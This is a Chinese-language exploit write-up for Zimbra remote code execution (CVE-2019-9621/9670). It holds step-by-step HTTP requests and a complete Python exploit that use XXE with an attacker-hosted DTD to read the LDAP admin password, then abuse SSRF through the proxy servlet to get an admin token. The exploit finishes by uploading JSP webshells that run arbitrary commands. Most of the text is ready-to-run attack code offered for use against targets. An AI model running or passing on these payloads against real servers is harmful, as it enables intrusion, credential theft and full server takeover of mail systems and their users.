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（CVE-2019-9621）（CVE-2019-9670）Zimbra 远程代码执行漏洞

一、漏洞简介

当 Zimbra 存在像任意文件读取、XXE（xml外部实体注入）这种漏洞时，攻击者可以利用此漏洞读取 localconfig.xml配置文件，获取到 zimbra admin ldap password，并通过 7071 admin 端口进行 SOAP AuthRequest 认证，得到 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后，通过文件上传在服务端执行任意代码，威胁程度极高。当Zimbra服务端打来Memcached缓存服务是，可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用，所以其攻击场景受到限制。

二、漏洞影响

ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说：

  • Zimbra \< 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。
  • Zimbra \< 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。

三、复现过程

第一步：检测是否存在xxe漏洞

POST /Autodiscover/Autodiscover.xml HTTP/1.1  
Host: www.0-sec.org  
User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2  
Accept-Encoding: gzip, deflate  
Referer: https://mail.****.com/zimbra/  
Content-Type: application/soap+xml  
Content-Length: 436  
Connection: close  
Cookie: ZM_TEST=true  
Upgrade-Insecure-Requests: 1

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!--ENTITY xxe SYSTEM "file:///etc/passwd" -->]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
  </Autodiscover>

1.png

第二步：读取zimbra用户账号密码

dtd文件内容如下：

<!--ENTITY % file SYSTEM "file:../conf/localconfig.xml"-->  
<!--ENTITY % start "<![CDATA["--> 
<!--ENTITY % end "]]-->">  
<!--ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'-->">

POST请求包如下：

POST /Autodiscover/Autodiscover.xml HTTP/1.1  
Host: www.0-sec.org  
User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2  
Accept-Encoding: gzip, deflate  
Referer: https://mail.****.com/zimbra/  
Content-Type: application/soap+xml  
Content-Length: 436  
Connection: close  
Cookie: ZM_TEST=true  
Upgrade-Insecure-Requests: 1

<!DOCTYPE Autodiscover [  
        <!ENTITY % dtd SYSTEM "http://www.0-sec.org/dtd">  
        %dtd;  
        %all;  
        ]>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">  
    <Request>  
        <EMailAddress>aaaaa</EMailAddress>  
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>  
    </Request>  
</Autodiscover>

这里利用了CVE-2019-9670漏洞来读取配置文件，你需要在自己的VPS服务器上放置一个dtd文件，并使该文件能够通过HTTP访问。为了演示，我在GitHub上创建了一个仓库，从GitHub上获取dtd文件。

上图中用红框圈起来的就是zimbra账号的密码

第三步：获取低权限token

POST请求包如下：

POST /service/soap HTTP/1.1  
Host: www.0-sec.org  
User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2  
Accept-Encoding: gzip, deflate  
Referer: https://mail.****.com/zimbra/  
Content-Type: application/soap+xml  
Content-Length: 467  
Connection: close  
Cookie: ZM_TEST=true  
Upgrade-Insecure-Requests: 1

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">  
   <soap:Header>  
       <context xmlns="urn:zimbra">  
           <userAgent name="ZimbraWebClient" version="5.0.15_GA_2851"/>  
       </context>  
   </soap:Header>  
   <soap:Body>  
     <AuthRequest xmlns="urn:zimbraAccount">  
        <account by="adminName">zimbra</account>  
        <password>上面得到的密码</password>  
     </AuthRequest>  
   </soap:Body>  
</soap:Envelope>

从上图可以看到已经获取到token，但该token不是管理员权限的token，暂时记下来以后要用。

第四步：利用SSRF漏洞通过proxy接口，访问admin的soap接口获取高权限Token

POST请求包如下：

POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1  
Host: www.0-sec.org:7071  
User-Agent: Mozilla/5.0 (Windows NT 10.0) Gecko/20100101 Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.2  
Accept-Encoding: gzip, deflate  
Referer: https://mail.****.com/zimbra/
Content-Type: application/soap+xml  
Content-Length: 465  
Connection: close  
Cookie: ZM_ADMIN_AUTH_TOKEN=0_5221766f264e4dcb78b4f67be5f839b1ed668da3_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343733303133353638333b747970653d363a7a696d6272613b7469643d393a3735353034333637323b  
Upgrade-Insecure-Requests: 1

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">  
   <soap:Header>  
       <context xmlns="urn:zimbra">  
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851"/>  
       </context>  
   </soap:Header>  
   <soap:Body>  
     <AuthRequest xmlns="urn:zimbraAdmin">  
        <account by="adminName">zimbra</account>  
        <password>GzXaU76_s5</password>  
     </AuthRequest>  
   </soap:Body>  
</soap:Envelope>

Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN，值为上面请求所获取的token，将xmlns="urn:zimbraAccount"修改为xmlns="urn:zimbraAdmin"，在Host字段末尾添加":7071"，URL中的target要使用https协议。然后发送请求即可获得admin权限的token。

第五步：利用高权限token传文件getshell

将上一步获取的admin权限token添加到cookie中，然后上传webshell。

Webshell路径为/downloads/k4x6p.jsp，访问该webshell时需要在cookie中添加admin_toke。

你可以利用此webshell在其他无需cookie即可访问的目录里创建一个可用菜刀连接的小马。

简易poc

import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 
'requestId':(None,"12",None),
}
headers ={ 
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)

2.png

虽然执行报错了，但是不影响> shell地址：https://www.0-sec.org:7071/downloads/sunian.jsp

3.png

完整版exp

4.png

#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#利用request模块来发包和接受数据，sys模块用来传参，并删除最右侧的/斜杠

filename = "sunian.jsp"
fileContent = r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>'
#fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
#可使用第11行bypass
print(base_url)
#请自己在公网放置dtd文件
dtd_url="http://VPS-IP/exp.dtd"
"""
<!--ENTITY % file SYSTEM "file:../conf/localconfig.xml"-->
<!--ENTITY % start "<![CDATA["-->
<!--ENTITY % end "]]-->">
<!--ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'-->">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "{dtd}">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(dtd=dtd_url)

#XXE stage
headers = {
    "Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
    print("don't have xxe")
    exit()

#low_token Stage
import re
pattern_name = re.compile(r"&lt;key name=(\"|&quot;)zimbra_user(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
pattern_password = re.compile(r"&lt;key name=(\"|&quot;)zimbra_ldap_password(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
#print(username)
#print(password)

auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="{xmlns}">
        <account by="adminName">{username}</account>
        <password>{password}</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>
"""

#print("[*] Get Low Privilege Auth Token")

#72行路径可能为/service/soap
r=requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

# SSRF+Get Admin_Token Stage

headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
#print("[*] Get Admin  Auth Token By SSRF")
#r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
r = requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
#若86行无法使用请使用85行

admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)

f = {
    'filename1':(None,"whocare",None),
    'clientFile':(filename,fileContent,"text/plain"),
    'requestId':(None,"12",None),
}

headers ={
    "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token
}
print("[*] 木马地址")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print(base_url+"/downloads/"+filename)

#print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("[*] 管理员cookie")
print(headers['Cookie'])

参考链接

https://www.cnblogs.com/dgjnszf/p/10793604.html

https://xz.aliyun.com/t/7991#toc-1